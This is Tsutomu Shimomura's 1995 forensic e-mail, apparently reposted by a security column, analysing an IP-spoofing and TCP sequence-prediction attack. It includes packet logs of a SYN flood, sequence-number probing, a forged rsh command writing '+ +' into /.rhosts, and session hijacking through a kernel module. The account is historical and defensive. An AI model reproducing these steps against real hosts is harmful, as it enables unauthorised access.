# UnixWorld Online: Internet Security: Column No. 001 Addendum

Here's the text of Shimomura's e-mail describing the attack:

From: Tsutomu Shimomura
Date: Wed, 25 Jan 1995 04:36:45 -0800
Subject: Technical details of the attack described by Markoff in NYT

Greetings from Lake Tahoe.

There seems to be a lot of confusion about the IP address spoofing and connection hijacking attacks described by John Markoff's 1/23/95 NYT article, and CERT advisory CA-95:01.

Here are some technical details from my presentation on 1/11/95 at CMAD 3 in Sonoma, California. Hopefully this will help clear up any misunderstandings as to the nature of these attacks.

Two different attack mechanisms were used. IP source address spoofing and TCP sequence number prediction were used to gain initial access to a diskless workstation being used mostly as an X terminal. After root access had been obtained, an existing connection to another system was hijacked by means of a loadable kernel STREAMS module.

Included in this note are excerpts from actual `tcpdump` packet logs generated by this attack. In the interest of clarity (and brevity!), some of the data has been omitted.

I highly recommend Steve Bellovin's paper and posts on IP spoofing, as he describes in more detail the semantics of the TCP handshake, as well as making some suggestions on how to defeat this attack.

My configuration is as follows:

server = a SPARCstation running Solaris 1 serving my "X terminal"
x-terminal = a diskless SPARCstation running Solaris 1
target = the apparent primary target of the attack

The IP spoofing attack started at about 14:09:32 PST on 12/25/94. The first probes were from toad.com (this info derived from packet logs):

```
14:09:32 toad.com# finger -l @target
14:10:21 toad.com# finger -l @server
14:10:50 toad.com# finger -l root@server
14:11:07 toad.com# finger -l @x-terminal
14:11:38 toad.com# showmount -e x-terminal
14:11:49 toad.com# rpcinfo -p x-terminal
14:12:05 toad.com# finger -l root@x-terminal
```

The apparent purpose of these probes was to determine if there might be some kind of trust relationship amongst these systems which could be exploited with an IP spoofing attack. The source port numbers for the showmount and rpcinfo indicate that the attacker is root on toad.com.

About six minutes later, we see a flurry of TCP SYNs (initial connection requests) from 130.92.6.97 to port 513 (login) on server. The purpose of these SYNs is to fill the connection queue for port 513 on server with "half-open" connections so it will not respond to any new connection requests. In particular, it will not generate TCP RSTs in response to unexpected SYN- ACKs.

As port 513 is also a "privileged" port (number less than IPPORT_RESERVED), `server.login` can now be safely used as the putative source for an address spoofing attack on the UNIX ‘‘r-services’’ (`rsh, rlogin`). 130.92.6.97 appears to be a random (forged) unused address (one that will not generate any response to packets sent to it):

```
14:18:22.516699 130.92.6.97.600 > server.login: S 1382726960:1382726960(0) win 4096
14:18:22.566069 130.92.6.97.601 > server.login: S 1382726961:1382726961(0) win 4096
14:18:22.744477 130.92.6.97.602 > server.login: S 1382726962:1382726962(0) win 4096
14:18:22.830111 130.92.6.97.603 > server.login: S 1382726963:1382726963(0) win 4096
14:18:22.886128 130.92.6.97.604 > server.login: S 1382726964:1382726964(0) win 4096
14:18:22.943514 130.92.6.97.605 > server.login: S 1382726965:1382726965(0) win 4096
14:18:23.002715 130.92.6.97.606 > server.login: S 1382726966:1382726966(0) win 4096
14:18:23.103275 130.92.6.97.607 > server.login: S 1382726967:1382726967(0) win 4096
14:18:23.162781 130.92.6.97.608 > server.login: S 1382726968:1382726968(0) win 4096
14:18:23.225384 130.92.6.97.609 > server.login: S 1382726969:1382726969(0) win 4096
14:18:23.282625 130.92.6.97.610 > server.login: S 1382726970:1382726970(0) win 4096
14:18:23.342657 130.92.6.97.611 > server.login: S 1382726971:1382726971(0) win 4096
14:18:23.403083 130.92.6.97.612 > server.login: S 1382726972:1382726972(0) win 4096
14:18:23.903700 130.92.6.97.613 > server.login: S 1382726973:1382726973(0) win 4096
14:18:24.003252 130.92.6.97.614 > server.login: S 1382726974:1382726974(0) win 4096
14:18:24.084827 130.92.6.97.615 > server.login: S 1382726975:1382726975(0) win 4096
14:18:24.142774 130.92.6.97.616 > server.login: S 1382726976:1382726976(0) win 4096
14:18:24.203195 130.92.6.97.617 > server.login: S 1382726977:1382726977(0) win 4096
14:18:24.294773 130.92.6.97.618 > server.login: S 1382726978:1382726978(0) win 4096
14:18:24.382841 130.92.6.97.619 > server.login: S 1382726979:1382726979(0) win 4096
14:18:24.443309 130.92.6.97.620 > server.login: S 1382726980:1382726980(0) win 4096
14:18:24.643249 130.92.6.97.621 > server.login: S 1382726981:1382726981(0) win 4096
14:18:24.906546 130.92.6.97.622 > server.login: S 1382726982:1382726982(0) win 4096
14:18:24.963768 130.92.6.97.623 > server.login: S 1382726983:1382726983(0) win 4096
14:18:25.022853 130.92.6.97.624 > server.login: S 1382726984:1382726984(0) win 4096
14:18:25.153536 130.92.6.97.625 > server.login: S 1382726985:1382726985(0) win 4096
14:18:25.400869 130.92.6.97.626 > server.login: S 1382726986:1382726986(0) win 4096
14:18:25.483127 130.92.6.97.627 > server.login: S 1382726987:1382726987(0) win 4096
14:18:25.599582 130.92.6.97.628 > server.login: S 1382726988:1382726988(0) win 4096
14:18:25.653131 130.92.6.97.629 > server.login: S 1382726989:1382726989(0) win 4096
```

The server generated SYN-ACKs for the first eight SYN requests before the connection queue filled up. The server will periodically retransmit these SYN-ACKs as there is nothing to ACK them.

We now see 20 connection attempts from `apollo.it.luc.edu` to `x- terminal.shell`. The purpose of these attempts is to determine the behavior of x-terminal’s TCP sequence number generator. Note that the initial sequence numbers increment by one for each connection, indicating that the SYN packets are *not* being generated by the system’s TCP implementation. This results in RSTs conveniently being generated in response to each unexpected SYN-ACK, so the connection queue on `x- terminal` does not fill up:

```
14:18:25.906002 apollo.it.luc.edu.1000 > x-terminal.shell: S 1382726990:1382726990(0
14:18:26.094731 x-terminal.shell > apollo.it.luc.edu.1000: S 2021824000:2021824000(0
14:18:26.172394 apollo.it.luc.edu.1000 > x-terminal.shell: R 1382726991:1382726991(0
14:18:26.507560 apollo.it.luc.edu.999 > x-terminal.shell: S 1382726991:1382726991(0)
```

```
14:18:26.694691 x-terminal.shell > apollo.it.luc.edu.999: S 2021952000:2021952000(0)
14:18:26.775037 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0)
14:18:26.775395 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0)
14:18:27.014050 apollo.it.luc.edu.998 > x-terminal.shell: S 1382726992:1382726992(0)
14:18:27.174846 x-terminal.shell > apollo.it.luc.edu.998: S 2022080000:2022080000(0)
14:18:27.251840 apollo.it.luc.edu.998 > x-terminal.shell: R 1382726993:1382726993(0)
14:18:27.544069 apollo.it.luc.edu.997 > x-terminal.shell: S 1382726993:1382726993(0)
14:18:27.714932 x-terminal.shell > apollo.it.luc.edu.997: S 2022208000:2022208000(0)
14:18:27.794456 apollo.it.luc.edu.997 > x-terminal.shell: R 1382726994:1382726994(0)
14:18:28.054114 apollo.it.luc.edu.996 > x-terminal.shell: S 1382726994:1382726994(0)
14:18:28.224935 x-terminal.shell > apollo.it.luc.edu.996: S 2022336000:2022336000(0)
14:18:28.305578 apollo.it.luc.edu.996 > x-terminal.shell: R 1382726995:1382726995(0)
14:18:28.564333 apollo.it.luc.edu.995 > x-terminal.shell: S 1382726995:1382726995(0)
14:18:28.734953 x-terminal.shell > apollo.it.luc.edu.995: S 2022464000:2022464000(0)
14:18:28.811591 apollo.it.luc.edu.995 > x-terminal.shell: R 1382726996:1382726996(0)
14:18:29.074990 apollo.it.luc.edu.994 > x-terminal.shell: S 1382726996:1382726996(0)
14:18:29.274572 x-terminal.shell > apollo.it.luc.edu.994: S 2022592000:2022592000(0)
14:18:29.354139 apollo.it.luc.edu.994 > x-terminal.shell: R 1382726997:1382726997(0)
14:18:29.354616 apollo.it.luc.edu.994 > x-terminal.shell: R 1382726997:1382726997(0)
14:18:29.584705 apollo.it.luc.edu.993 > x-terminal.shell: S 1382726997:1382726997(0)
14:18:29.755054 x-terminal.shell > apollo.it.luc.edu.993: S 2022720000:2022720000(0)
14:18:29.840372 apollo.it.luc.edu.993 > x-terminal.shell: R 1382726998:1382726998(0)
14:18:30.094299 apollo.it.luc.edu.992 > x-terminal.shell: S 1382726998:1382726998(0)
14:18:30.265684 x-terminal.shell > apollo.it.luc.edu.992: S 2022848000:2022848000(0)
14:18:30.342506 apollo.it.luc.edu.992 > x-terminal.shell: R 1382726999:1382726999(0)
14:18:30.604547 apollo.it.luc.edu.991 > x-terminal.shell: S 1382726999:1382726999(0)
14:18:30.775232 x-terminal.shell > apollo.it.luc.edu.991: S 2022976000:2022976000(0)
14:18:30.852084 apollo.it.luc.edu.991 > x-terminal.shell: R 1382727000:1382727000(0)
14:18:31.115036 apollo.it.luc.edu.990 > x-terminal.shell: S 1382727000:1382727000(0)
14:18:31.284694 x-terminal.shell > apollo.it.luc.edu.990: S 2023104000:2023104000(0)
14:18:31.361684 apollo.it.luc.edu.990 > x-terminal.shell: R 1382727001:1382727001(0)
14:18:31.627817 apollo.it.luc.edu.989 > x-terminal.shell: S 1382727001:1382727001(0)
14:18:31.795260 x-terminal.shell > apollo.it.luc.edu.989: S 2023232000:2023232000(0)
14:18:31.873056 apollo.it.luc.edu.989 > x-terminal.shell: R 1382727002:1382727002(0)
14:18:32.164597 apollo.it.luc.edu.988 > x-terminal.shell: S 1382727002:1382727002(0)
14:18:32.335373 x-terminal.shell > apollo.it.luc.edu.988: S 2023360000:2023360000(0)
14:18:32.413041 apollo.it.luc.edu.988 > x-terminal.shell: R 1382727003:1382727003(0)
14:18:32.674779 apollo.it.luc.edu.987 > x-terminal.shell: S 1382727003:1382727003(0)
14:18:32.845373 x-terminal.shell > apollo.it.luc.edu.987: S 2023488000:2023488000(0)
14:18:32.922158 apollo.it.luc.edu.987 > x-terminal.shell: R 1382727004:1382727004(0)
14:18:33.184839 apollo.it.luc.edu.986 > x-terminal.shell: S 1382727004:1382727004(0)
14:18:33.355505 x-terminal.shell > apollo.it.luc.edu.986: S 2023616000:2023616000(0)
14:18:33.435221 apollo.it.luc.edu.986 > x-terminal.shell: R 1382727005:1382727005(0)
14:18:33.695170 apollo.it.luc.edu.985 > x-terminal.shell: S 1382727005:1382727005(0)
14:18:33.985966 x-terminal.shell > apollo.it.luc.edu.985: S 2023744000:2023744000(0)
14:18:34.062407 apollo.it.luc.edu.985 > x-terminal.shell: R 1382727006:1382727006(0)
14:18:34.204953 apollo.it.luc.edu.984 > x-terminal.shell: S 1382727006:1382727006(0)
14:18:34.375641 x-terminal.shell > apollo.it.luc.edu.984: S 2023872000:2023872000(0)
14:18:34.452830 apollo.it.luc.edu.984 > x-terminal.shell: R 1382727007:1382727007(0)
14:18:34.714996 apollo.it.luc.edu.983 > x-terminal.shell: S 1382727007:1382727007(0)
14:18:34.885071 x-terminal.shell > apollo.it.luc.edu.983: S 2024000000:2024000000(0)
14:18:34.962030 apollo.it.luc.edu.983 > x-terminal.shell: R 1382727008:1382727008(0)
14:18:35.225869 apollo.it.luc.edu.982 > x-terminal.shell: S 1382727008:1382727008(0)
14:18:35.395723 x-terminal.shell > apollo.it.luc.edu.982: S 2024128000:2024128000(0)
14:18:35.472150 apollo.it.luc.edu.982 > x-terminal.shell: R 1382727009:1382727009(0)
14:18:35.735077 apollo.it.luc.edu.981 > x-terminal.shell: S 1382727009:1382727009(0)
14:18:35.905684 x-terminal.shell > apollo.it.luc.edu.981: S 2024256000:2024256000(0)
14:18:35.983078 apollo.it.luc.edu.981 > x-terminal.shell: R 1382727010:1382727010(0)
```

Note that each SYN-ACK packet sent by `x-terminal` has an initial sequence number that is 128,000 greater than the previous one.

We now see a forged SYN (connection request), allegedly from `server.login` to `x-terminal.shell`. The assumption is that `x-terminal` probably trusts server, so `x-terminal` will do whatever server--or anything masquerading as `server`--asks.

Then `x-terminal` replies to `server` with a SYN-ACK, which must be ACK'd in order for the connection to be opened. As server is ignoring packets sent to `server.login`, the ACK must be forged as well.

Normally, the sequence number from the SYN-ACK is required to generate a valid ACK. However, the attacker is able to predict the sequence number contained in the SYN-ACK based on the known behavior of `x-terminal`'s TCP sequence number generator, and is thus able to ACK the SYN-ACK without seeing it:

```
14:18:36.245045 server.login > x-terminal.shell: S 1382727010:1382727010(0) win 4096
14:18:36.755522 server.login > x-terminal.shell: . ack 2024384001 win 4096
```

The spoofing machine now has a one-way connection to `x-terminal.shell` which appears to be from `server.login`. It can maintain the connection and send data provided that it can properly ACK any data sent by `x-terminal`. It sends the following:

```
14:18:37.265404 server.login > x-terminal.shell: P 0:2(2) ack 1 win 4096
14:18:37.775872 server.login > x-terminal.shell: P 2:7(5) ack 1 win 4096
14:18:38.287404 server.login > x-terminal.shell: P 7:32(25) ack 1 win 4096
```

which corresponds to:

```
14:18:37 server# rsh x-terminal "echo + + >>/.rhosts"
```

Total elapsed time since the first spoofed packet: less than 16 seconds.

The spoofed connection is now shut down:

```
14:18:41.347003 server.login > x-terminal.shell: . ack 2 win 4096
14:18:42.255978 server.login > x-terminal.shell: . ack 3 win 4096
14:18:43.165874 server.login > x-terminal.shell: F 32:32(0) ack 3 win 4096
14:18:52.179922 server.login > x-terminal.shell: R 1382727043:1382727043(0) win 4096
14:18:52.236452 server.login > x-terminal.shell: R 1382727044:1382727044(0) win 4096
```

We now see RSTs to reset the "half-open" connections and empty the connection queue for `server.login`:

```
14:18:52.298431 130.92.6.97.600 > server.login: R 1382726960:1382726960(0) win 4096
14:18:52.363877 130.92.6.97.601 > server.login: R 1382726961:1382726961(0) win 4096
14:18:52.416916 130.92.6.97.602 > server.login: R 1382726962:1382726962(0) win 4096
14:18:52.476873 130.92.6.97.603 > server.login: R 1382726963:1382726963(0) win 4096
14:18:52.536573 130.92.6.97.604 > server.login: R 1382726964:1382726964(0) win 4096
14:18:52.600899 130.92.6.97.605 > server.login: R 1382726965:1382726965(0) win 4096
14:18:52.660231 130.92.6.97.606 > server.login: R 1382726966:1382726966(0) win 4096
14:18:52.717495 130.92.6.97.607 > server.login: R 1382726967:1382726967(0) win 4096
14:18:52.776502 130.92.6.97.608 > server.login: R 1382726968:1382726968(0) win 4096
14:18:52.836536 130.92.6.97.609 > server.login: R 1382726969:1382726969(0) win 4096
14:18:52.937317 130.92.6.97.610 > server.login: R 1382726970:1382726970(0) win 4096
14:18:52.996777 130.92.6.97.611 > server.login: R 1382726971:1382726971(0) win 4096
```

```
14:18:53.056758 130.92.6.97.612 > server.login: R 1382726972:1382726972(0) win 4096
14:18:53.116850 130.92.6.97.613 > server.login: R 1382726973:1382726973(0) win 4096
14:18:53.177515 130.92.6.97.614 > server.login: R 1382726974:1382726974(0) win 4096
14:18:53.238496 130.92.6.97.615 > server.login: R 1382726975:1382726975(0) win 4096
14:18:53.297163 130.92.6.97.616 > server.login: R 1382726976:1382726976(0) win 4096
14:18:53.365988 130.92.6.97.617 > server.login: R 1382726977:1382726977(0) win 4096
14:18:53.437287 130.92.6.97.618 > server.login: R 1382726978:1382726978(0) win 4096
14:18:53.496789 130.92.6.97.619 > server.login: R 1382726979:1382726979(0) win 4096
14:18:53.556753 130.92.6.97.620 > server.login: R 1382726980:1382726980(0) win 4096
14:18:53.616954 130.92.6.97.621 > server.login: R 1382726981:1382726981(0) win 4096
14:18:53.676828 130.92.6.97.622 > server.login: R 1382726982:1382726982(0) win 4096
14:18:53.736734 130.92.6.97.623 > server.login: R 1382726983:1382726983(0) win 4096
14:18:53.796732 130.92.6.97.624 > server.login: R 1382726984:1382726984(0) win 4096
14:18:53.867543 130.92.6.97.625 > server.login: R 1382726985:1382726985(0) win 4096
14:18:53.917466 130.92.6.97.626 > server.login: R 1382726986:1382726986(0) win 4096
14:18:53.976769 130.92.6.97.627 > server.login: R 1382726987:1382726987(0) win 4096
14:18:54.039039 130.92.6.97.628 > server.login: R 1382726988:1382726988(0) win 4096
14:18:54.097093 130.92.6.97.629 > server.login: R 1382726989:1382726989(0) win 4096
```

Now, `server.login` can accept connections again.

After root access had been gained via IP address spoofing, a kernel module named "tap-2.01" was compiled and installed on `x-terminal`:

```
x-terminal% modstat
Id  Type  Loadaddr      Size   B-major  C-major  Sysnum   Mod Name
 1  Pdrv  ff050000      1000              59.             tap/tap-2.01 alpha

x-terminal% ls -l /dev/tap
crwxrwxrwx  1 root      37,  59 Dec 25 14:40 /dev/tap
```

This appears to be a kernel STREAMS module that can be pushed onto an existing STREAMS stack and used to take control of a tty device. It was used to take control of an already authenticated login session to target at about 14:51 PST.

Of course, no attack would be complete without the personal touch. Check out Tweedle-Dee and Tweedle-Dum, which are in Sun audio file format, 8-bit u-law, 8 Khz sample rate.

---

*Tsutomu Shimomura / tsutomu@ucsd.edu / +1 619 534 5050 / University of California at San Diego / San Diego Supercomputer Center, USA / Shimomura-attack document*